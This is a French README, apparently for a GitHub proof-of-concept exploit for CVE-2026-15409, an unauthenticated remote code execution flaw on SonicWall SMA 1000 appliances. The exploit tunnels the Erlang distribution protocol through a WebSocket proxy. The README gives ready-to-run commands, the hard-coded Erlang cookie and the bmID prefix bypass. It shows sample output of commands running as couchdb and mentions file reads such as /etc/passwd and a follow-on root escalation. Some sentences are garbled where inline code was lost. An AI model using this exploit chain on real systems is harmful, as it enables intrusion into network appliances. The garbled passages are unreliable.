
Preuve de concept d'exploitation pour CVE-2026-15409 (RCE sur SonicWall SMA 1000) via la distribution Erlang sur WebSocket. Permet une exécution de code à distance non authentifiée en tant qu'utilisateur couchdb.
Exploit de preuve de concept pour CVE-2026-15409 – exécution de code à distance sans authentification sur les appliances de la série SonicWall SMA 1000 via le protocole de distribution Erlang tunnelisé sur WebSocket.
CVE-2026-15409 est une vulnérabilité critique affectant les appliances SonicWall SMA 1000 (versions antérieures au correctif de juin 2026). La faille réside dans le service (généralement exposé sur le port 443) qui relaie les connexions WebSocket vers des nœuds Erlang internes. En forgeant un paramètre valide et en utilisant un cookie Erlang codé en dur, un attaquant peut établir un canal de distribution authentifié et exécuter des commandes système arbitraires sous l'utilisateur (ou d'autres comptes à privilèges faibles) via des appels RPC à .
bmIDcouchdbos:cmd/1Ce dépôt fournit un PoC entièrement fonctionnel qui automatise toute la chaîne d'exploitation – de la poignée de main WebSocket à l'exécution de commandes arbitraires – avec une interface propre, une gestion avancée des erreurs et une journalisation soignée.
wss:// via le point de terminaison wsproxy.os:cmd/1 ; peut lire des fichiers via file:read_file/1 ou tester la connectivité avec erlang:node/0.bmID arbitraires (tant qu'elles commencent par -3389) et plusieurs valeurs serviceType.[+], [*], [-], [!] pour un suivi facile.La vulnérabilité provient des faiblesses de conception suivantes dans le SMA 1000 :
/wsproxy transmet des messages WebSocket binaires à un port de distribution Erlang local (localhost:1050 par défaut) sans authentification ni autorisation appropriées.[email protected] écoute sur 1050 et accepte les connexions du proxy WebSocket, ce qui le rend accessible depuis le réseau.rex, qui peut exécuter des fonctions arbitraires sur le nœud, notamment os:cmd/1.ex_sra_vm_12.5.0-02002.ova).couchdb (UID 1010, groupe daemon).file:read_file/1.websockets (installation via pip install websockets).git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt # websockets
python3 cve-2026-15409.py \
--ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
--ws-user-agent 'SMA Connect Agent' \
--ws-insecure-tls \
--exec 'whoami && id && pwd && hostname'
░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
[CVE-2026-15409]
Erlang Distribution RCE via WebSocket Proxy
Owner: Ch4120N
[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050
[ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname')
[ + ] Authenticated to [email protected]
[ * ] Calling os:cmd/1 ...
[ + ] RPC call completed
[ * ] Peer name: [email protected]
[ * ] Peer flags: 0xd07df7fbd
[ * ] Peer creation: 1784069352
[ + ] Command output:
couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
| Argument | Description |
|---|---|
--host, --port | Repli TCP (si WebSocket non utilisé) |
--cookie | Remplacer le cookie codé en dur par défaut |
--name | Nom de nœud Erlang local personnalisé |
--ws-origin | Définir l'en-tête Origin pour WebSocket |
--ws-user-agent | Chaîne User‑Agent (défaut : SMA Connect Agent) |
--ws-insecure-tls | Désactiver la vérification TLS (certificats auto-signés) |
--read-file | Lire un fichier sur la cible (par ex., /etc/passwd) |
--rpc | Tester simplement la connexion en appelant erlang:node/0 |
Le cookie Erlang utilisé dans l'exploit est :
10ecad5b446e86864832904cd439b6b70262
Cette valeur est constante sur toutes les appliances SMA testées et est codée en dur dans le processus Erlang sur localhost:1050. Elle n'est pas identique au cookie configuré par l'utilisateur pour le clustering.
bmIDLe bmID doit commencer par -3389 (par ex., -3389c1b25ccd). Toute valeur arbitraire après le préfixe est acceptée, de sorte que la détection basée sur des signatures ne doit pas s'appuyer sur un hash fixe.
Bien que l'exemple utilise serviceType=SSH, d'autres valeurs telles que TELNET fonctionnent également. L'exploit est agnostique quant au type de service.
Le port 1050 est le port interne par défaut, mais des attaques réelles ciblant également le port 8188 ont été observées. L'exploit peut être adapté à tout port exposant le protocole de distribution Erlang.
Après avoir obtenu un shell sous couchdb, un attaquant peut exploiter CVE-2026-15410 – une traversée de chemin XML‑RPC permettant de supprimer le correctif puis d'élever les privilèges jusqu'à root.
/wsproxy avec un bmID commençant par -3389.couchdb (par ex., bash, python, nc)./var/tmp/ par l'utilisateur couchdb.Ce projet est sous licence MIT – voir le fichier LICENSE pour plus de détails.
Avertissement : cet outil est destiné uniquement à des fins éducatives et de test autorisé. L'auteur et les contributeurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel.
Si vous trouvez ce PoC utile, pensez à lui attribuer une ⭐ sur GitHub et à le partager de manière responsable. Les contributions, les signalements de problèmes et les pull requests sont les bienvenus !
Bon hacking ! 🛡️